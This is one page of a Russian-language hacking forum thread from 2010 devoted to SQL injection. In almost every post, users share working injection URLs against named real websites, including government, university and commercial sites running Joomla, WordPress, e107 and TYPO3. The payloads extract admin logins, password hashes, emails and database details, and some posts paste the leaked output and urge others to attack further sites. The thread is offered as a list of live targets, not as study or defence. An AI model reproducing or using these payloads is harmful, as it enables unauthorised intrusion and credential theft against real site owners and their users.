SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 659 of 798
  1. cipa21

    cipa21 Elder - Старейшина

    Joined:
    9 Apr 2009
    Messages:
    548
    Likes Received:
    146
    Reputations:
    30
    http://smu17.ru/stol.php?id=-1+union+select+1,concat(LOGIN,0x3a,PASS)+from+kapital_zed_users+limit+0,1--
    Tic-30 админка /zed/
    PS. через эту же скулю еще сотня соседей. Дерзайте
     
    #13161 cipa21, 4 Oct 2010
    Last edited: 4 Oct 2010
  2. DarkDante

    DarkDante Banned

    Joined:
    24 Dec 2004
    Messages:
    2
    Likes Received:
    3
    Reputations:
    0
    PHP:
    http://blinginbox.com/product.php?cateId=10&sx=-15+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16--
     
    #13162 DarkDante, 4 Oct 2010
  3. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Code:
    http://www.yuzhnoye.com/?id=14'%20and%20substring(version(),1,1)=5--%201&path=about_company/history/missiles/missiles
     
    #13163 R1dex, 4 Oct 2010
    Last edited: 4 Oct 2010
    2 people like this.
  4. Gedj

    Gedj Elder - Старейшина

    Joined:
    15 Sep 2008
    Messages:
    85
    Likes Received:
    30
    Reputations:
    2
    Code:
    http://www.sportware.ru/?id=-91+and+1=0+union+select+1,2,version(),4,5,6,7--
    Code:
    http://www.multi-master.ru/service/detail.php?id=-10+union+select+1,version(),3--
     
    #13164 Gedj, 4 Oct 2010
    Last edited: 4 Oct 2010
  5. av1

    av1 Elder - Старейшина

    Joined:
    6 Oct 2008
    Messages:
    723
    Likes Received:
    104
    Reputations:
    58
    Code:
    http://www.irancivilcenter.com/en/news/view.php?news_id=-3+union+select+concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,2,3,4,5--
    Username: iranciv_icc82m@localhost
    Version: 5.0.91-community
    Database: iranciv_news

    Google PR: 5
     
    #13165 av1, 4 Oct 2010
    1 person likes this.
  6. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://danlempriere.com/articles.php?id=2+and+substring((select+1),1,1)=true

    MDB2

    нету прав нa mdb2 schema
     
    _________________________
    #13166 Konqi, 4 Oct 2010
    1 person likes this.
  7. grably

    grably New Member

    Joined:
    6 Jul 2009
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    http://www.simport.ru/?page=3&id=2+and+1=0+union+select+1,2,group_concat%28table_name%29,4,5,6,7+from+information_schema.tables+where+table_schema=database%28%29+--+
     
    #13167 grably, 4 Oct 2010
    1 person likes this.
  8. z0mbyak

    z0mbyak Active Member

    Joined:
    10 Apr 2010
    Messages:
    537
    Likes Received:
    200
    Reputations:
    293
    Дырявая джумла:
    --------------------------------------------------------------------------
    http://www.reynoldsburgchurch.org/index.php? option=com_dcs_flashgames&Itemid=61&catid=51+union+all+select+1,2,3,4,concat_ws%280x3a,username,p ass word%29,6,7+from+jos_users--
    --------------------------------------------------------------------------
    http://www.pokermachinez.com/index.php? option=com_dcs_flashgames&Itemid=61&catid=51+union+all+select+1,2,user%28%29,4,@@version,6,concat_ws%280x3a,username,p ass word%29+from+jos_users--
    --------------------------------------------------------------------------
    http://www.sinab.gov.ec/index.php?option=com_restaurante&task=detail&Itemid=1&id=-99999+UNION+SELECT+0,0,0x3a,0,0,0,0,0,0,0,0,11,12,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,4,4,4,4,concat%280x1e,usernam e,0x3a,p ass word,0x1e,0x3a,usertype,0x1e%29+FROM+jos_users--&lang=it
    --------------------------------------------------------------------------
    http://www.sitgesrestaurantes.com/index.php?option=com_restaurante&task=detail&Itemid=1&id=-99999+UNION+SELECT+0,0,0x3a,0,0,0,0,0,0,0,0,11,12,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,4,4,4,4,concat%280x1e,us ername,0x3a,p ass word,0x1e,0x3a,usertype,0x1e%29+FROM+jos_users--&lang=it
    --------------------------------------------------------------------------
    http://www.sobakavdome.ru/index.php?option=com_iss&task=expotag&id=602+and+1=0+union+select+0,1,2,3,4,group_concat%28us ername,0x3a,p ass word,0x3a,email%29+from+jos_users--
    --------------------------------------------------------------------------
     
    #13168 z0mbyak, 5 Oct 2010
    Last edited: 5 Oct 2010
    2 people like this.
  9. The Elusive

    The Elusive New Member

    Joined:
    27 Jul 2010
    Messages:
    6
    Likes Received:
    2
    Reputations:
    1
    Code:
    http://isfav.it/index.php?pag=materie&id=-999.9%20UNION%20ALL%20SELECT%20(SELECT%20distinct%20concat(0x7e,0x27,Hex(cast(schema_name%20as%20char)),0x27,0x7e)%20FROM%20information_schema.schemata%20LIMIT%202,1),0x31303235343830303536--
    База isfav_db2
    И пара других там еще есть =)
    PR 4
     
    #13169 The Elusive, 5 Oct 2010
    1 person likes this.
  10. z0mbyak

    z0mbyak Active Member

    Joined:
    10 Apr 2010
    Messages:
    537
    Likes Received:
    200
    Reputations:
    293
    Бажный водпресс:
    ---------------------------------------------------------------------------
    http://www.chicasrider.cl/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+0,1,2,3,4,group_concat(0x3a,use r_login,0x3a,user_p ass),6,7,8+from+wp_users--
    ---------------------------------------------------------------------------
    http://www.fosa.biz/wp-admin/admin.php?page=people&action=printable&event_id=-15+union+select+0,1,2,concat_ws(user_login,0x3a,u ser_p ass),4+from+wp_users--
    (Уникальная вещь для меня, первый раз получилось через админ.пхп скулю провести)
    P.S. Сервак виндовый:)
    ---------------------------------------------------------------------------
    http://www.kfir.co.il/news.php?id=23+and+1=0+union+select+1,group_concat(u ser_login,0x3a,user_p ass),3,4,5,6,7,8,9+from+wp_users--
    ---------------------------------------------------------------------------
    http://www.topbeauty.ro/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+0,1,2,3,4,group_concat(0x3a,u ser_login,0x3a,user_p ass),6,7,8+from+wp_users--
    ---------------------------------------------------------------------------
    http://www.bulldogdesigninc.com/News.php?id=12+AND+1=2+UNION+SELECT+0,1,2,3,group_concat(user_login,0x3a,user_pass),5%20from%20wp_users--
    ---------------------------------------------------------------------------
    http://www.jeremybouma.net/wp-content/plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6%20from%20wp_users--
    ---------------------------------------------------------------------------
    http://staroftheseakeywest.com/wp-content/plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6%20from%20wp_users--
    ---------------------------------------------------------------------------
    http://cycling4fun.com/wp-content/plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6%20from%20wp_users--
    ---------------------------------------------------------------------------
    http://www.giveawayriches.com/jvblog/wp-content/plugins/wassup/spy.php?to_date=-1%20group%20by%20id%20union%20select%20null,null,null,concat(0x7c,user_login,0x7c,u ser_p ass,0x7c),null,null,null,null,null,null,null,null%20%20from%20wp_users
    ---------------------------------------------------------------------------
    З.Ы. Блин, да сколько же дырок-то....
     
    #13170 z0mbyak, 5 Oct 2010
    Last edited: 5 Oct 2010
    1 person likes this.
  11. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    www.bayern-international.de тИЦ — 10 PR — 6
    Code:
    http://www.bayern-international.de/nc/en/business-in-bavaria/key-technologies-in-bavaria/company-details.html?tx_hbkeytech_pi2%5BfirmaID%5D=-28997'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,group_concat(table_name)+from+information_schema.tables+group+by+table_schema+limit+1,1+--+&tx_hbkeytech_pi2%5BkeyTechID%5D=20'
    www.blankom.de тИЦ — 10 PR — 3
    Code:
    http://www.blankom.de/index.php?id=245&tx_osdbproducts_pi1[cid1]=35&tx_osdbproducts_pi1[cid2]=85&tx_osdbproducts_pi1[cid3]=-170+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+--+&tx_osdbproducts_pi1[number]=9062.02&cHash=2116147af1&L=1
    law.emory.edu тИЦ — 70 PR — 6
    Code:
    http://www.law.emory.edu/index.php?id=5132&tx_wfqbe_pi1%5Bid%5D=-73+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables+--+
    smania.it тИЦ — 100 PR — 3
    Code:
    http://www.smania.it/index.php?id=52&L=1&tx_newscatmenu_pi1[parent_category]=-20+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,group_concat(concat_ws(0x3a3a,username,password,admin))+from+be_users+/*+
    sfx-360.com тИЦ — 10 PR — 4
    Code:
    http://www.sfx-360.com/index.php?idEvent=-56+union+select+1,concat_ws(0x3a3a,user_name,password),3,4,5,6+from+user+--+
    alucobond.eu тИЦ — 10 PR — 1
    Code:
    http://www.alucobond.eu/distributors-ru.html?&L=5&tx_nicosdirectory_pi1%5Bmode%5D=liste&tx_nicosdirectory_pi1%5Bmodifier%5D=cat&tx_nicosdirectory_pi1%5Bvalue%5D=-8'+union+select+1,2,3,4,5,6,7,8,9,user(),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33+--+&tx_nicosdirectory_pi1%5Bpointer%5D=0&cHash=2e397a1d90
    ofi-am.fr тИЦ — 10 PR — 4
    Code:
    http://www.ofi-am.fr/html/ofiWebTV.php?laVideo=/inout/video/52/trussant.flv&idVideo=-52'+union+select+1,concat_ws(0x3a3a,IDADMIN,IDENT,PASS),3,4,5,6,7,8,9,10,11,12+from+ADMIN+--+
    oblivion.it тИЦ — 10 PR — 4
    Code:
    http://www.oblivion.it/html/obliviontv.php?idvideo=-47+union+select+1,2,user(),4,5,6,7,8+--+
    habitatsis.com тИЦ — 10
    Code:
    http://www.habitatsis.com/html/hs_formacion/Videos.asp?IdCategoria=1011&Inmobiliaria=&IdVideo=-10022+union+select+1,2,3,4,5,6,7,8,9,10,11+from+information_schema.tables+--+
    chasse-enligne.com тИЦ — 10 PR — 3
    Code:
    http://www.chasse-enligne.com/pub/redirect.php?IDPub=-16+union+select+concat_ws(0x3a3a,login,password)+from+admin+limit+0,1+--+
    teoremaonline.it тИЦ — 10 PR — 4
    Code:
    http://www.teoremaonline.it/index.php?l=en&idn=33&idevent=-24+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,concat_ws(0x3a3a,mail,password,surname),21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+from+privatearea_user+--+&cat=3'&onlpg=4'
    bmwmcpiacenza.it тИЦ — 10
    Code:
    http://bmwmcpiacenza.it/index.php?obj=site&cmd=event_show&idevent=-10+union+select+1,2,3,4,user(),6,7,8+--+
    www.dbugbcn.org тИЦ — 10 PR — 3
    Code:
    http://www.dbugbcn.org/index.php?idevent=-5+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94+--+
    cqll.be тИЦ — 10 PR — 4
    Code:
    http://www.cqll.be/index.php?inc=view_event.php&id=-2+union+select+1,2,concat_ws(0x3a3a,id_level,user,password),4+from+administrateur_site+--+&sid=0&idevent=165'
    5aan.com тИЦ — 10
    Code:
    http://www.5aan.com/index.php?act=detailproduct&idevent=-36+union+select+1,2,3,4,5,6,7,8,9,10,concat_Ws(0x3a3a,username,password,email,permasion),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43+from+adminuser+--+
    lettera27.org тИЦ — 10 PR — 5
    Code:
    http://www.lettera27.org/index.php?idlanguage=1&zone=9&idprj=1483&idevent=-1528+union+select+user()+--+
     
    #13171 DezMond™, 5 Oct 2010
    2 people like this.
  12. z0mbyak

    z0mbyak Active Member

    Joined:
    10 Apr 2010
    Messages:
    537
    Likes Received:
    200
    Reputations:
    293
    А теперь е107
    ---------------------------------------------------------------------------
    http://www.kna.edu.stockholm.se/e107_plugins/userjournals_menu/userjournals.php?blog.-9999%20union%20all%20select%201,2,3,4,5,6,u ser_p ass word,8,9,0,11,12,13%20from%20e107_user--
    ---------------------------------------------------------------------------
    http://www.lyngholm-thy.dk/e107_plugins/image_gallery/image_gallery.php?page=image-detail&album=1&image=-9999+UNION+SELECT+concat_ws(char(58),user_name,u ser_p ass word)KHG+from+e107_user+where+user_id=1--
    ---------------------------------------------------------------------------
    http://www.jacksmannequin.org/e107_plugins/lyrics_menu/lyrics_song.php?l_id=-1+union+select+1,concat(user_name,0x3a,u ser_p ass word),3,4,5,6,7,8,9,10,11,12,13,14,15++from+e107_user--
    ------------------------------------------------------------------------
    http://lombardo-mebelsbg.com/e107_plugins/image_gallery/image_gallery.php?page=image-detail&album=1&image=-9999+UNION+SELECT+concat_ws(char(58),u ser_name,u ser_p ass word)KHG+from+e107_user+where+user_id=1--
    ------------------------------------------------------------------------
    http://www.stephenslawncare.com/e107_plugins/image_gallery/image_gallery.php?page=image-detail&album=1&image=-9999+UNION+SELECT+concat_ws(char(58),u ser_name,user_p ass word)KHG+from+e107_user+where+user_id=1--
    ------------------------------------------------------------------------
    http://www.papagali-bg.com/e107_plugins/image_gallery/image_gallery.php?page=image-detail&album=1&image=-9999+UNION+SELECT+concat_ws(char(58),u ser_name,user_p ass word)KHG+from+e107_user--
    ------------------------------------------------------------------------
    http://www.megalit33.ru/plugins/image_gallery/image_gallery.php?page=image-detail&album=1&image=-9999+UNION+SELECT+concat_ws(char(58),user_name,user_p ass word)KHG+from+e107_user+where+user_id=1--
    ------------------------------------------------------------------------
    http://teambmecte.ru/e107_plugins/image_gallery/image_gallery.php?page=image-detail&album=1&image=-9999+UNION+SELECT+concat_ws(char(58),u ser_name,user_p ass word)KHG+from+e107_user+where+user_id=1--
    ------------------------------------------------------------------------
    З.Ы. Это я свою программку проверяю :) хорошо трудится:)
     
    #13172 z0mbyak, 5 Oct 2010
    1 person likes this.
  13. tracy

    tracy Elder - Старейшина

    Joined:
    24 Mar 2009
    Messages:
    244
    Likes Received:
    119
    Reputations:
    40
    http://www.ahyaqiang.com/En/news.php?id=1+and+row(1,2)in(select+count(*),concat((select+table_name+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))as+a+from+information_schema.tables+x+group+by+a)
    PR: 1
    user: yqdb
    database: sqlyqdb
    version: 5.0.90-log
     
    #13173 tracy, 6 Oct 2010
  14. av1

    av1 Elder - Старейшина

    Joined:
    6 Oct 2008
    Messages:
    723
    Likes Received:
    104
    Reputations:
    58
    Code:
    [COLOR=Wheat]http://www.bda.org.uk/news.php?action=view&news_id=-238+UNION+SELECT+1,concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,3,4,5,6,7,8,9,10,11+from+administrators--[/COLOR]
    Username: [email protected]
    Version: 5.0.91-log
    Database: db298445383

    Google PR: 6
     
    #13174 av1, 6 Oct 2010
    2 people like this.
  15. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Code:
    http://www.russianw.com/articles/article.php?ID=-615'%20union%20select%201,2,unhex(hex(concat(logname,0x3a,password,0x3a,email))),4,5,6,7,8,9%20from%20exp_admin--%201
    method=post
     
    #13175 R1dex, 6 Oct 2010
  16. The Elusive

    The Elusive New Member

    Joined:
    27 Jul 2010
    Messages:
    6
    Likes Received:
    2
    Reputations:
    1
    Code:
    http://jimdunlop.com/index.php?page=products/pip&id=304%20AND%20Length((user()))=22
    Google PR=5
     
    #13176 The Elusive, 6 Oct 2010
  17. tracy

    tracy Elder - Старейшина

    Joined:
    24 Mar 2009
    Messages:
    244
    Likes Received:
    119
    Reputations:
    40
    http://okasse.ru/_Docs/doc_show.asp?docs_id=103+and+1=0+union+select+1,2,3,4,5,group_concat(table_name),7,8+from+information_schema.tables+where+table_schema='iskra-6'+--+
    ТИЦ : 550

    http://www.sigma-is.ru/cgi-bin/news.pl?id_news=303+and+1=0+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name='users'+--+
    ТИЦ : 475
     
    #13177 tracy, 6 Oct 2010
    Last edited by a moderator: 7 Oct 2010
  18. moodoone

    moodoone Member

    Joined:
    21 Oct 2009
    Messages:
    144
    Likes Received:
    38
    Reputations:
    5
    Code:
    http://www.vup.hr/index.php?file=pages/rubrika.php&id=-27+union+select+1,group_concat%28table_name%29,3,4+from+information_schema.tables--+
     
    #13178 moodoone, 6 Oct 2010
  19. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Code:
    http://www.sevtolib.iuf.net/index.php?id=59'%20or%201%20group%20by%20concat(version(),floor(rand(0)*2))having%20min(0)%20or%201--%201
     
    #13179 R1dex, 6 Oct 2010
  20. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Премиум Яхтс

    http://www.premiumyachts.ru/news/?view_news=true&news_id=-111+and+1=2+union+select+1,2,3,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),5,6,7,8+--

    5.1.43-log py@localhost py portbld-freebsd7.3
     
    #13180 AC//DC, 6 Oct 2010
(You must log in or sign up to post here.)
Page 659 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.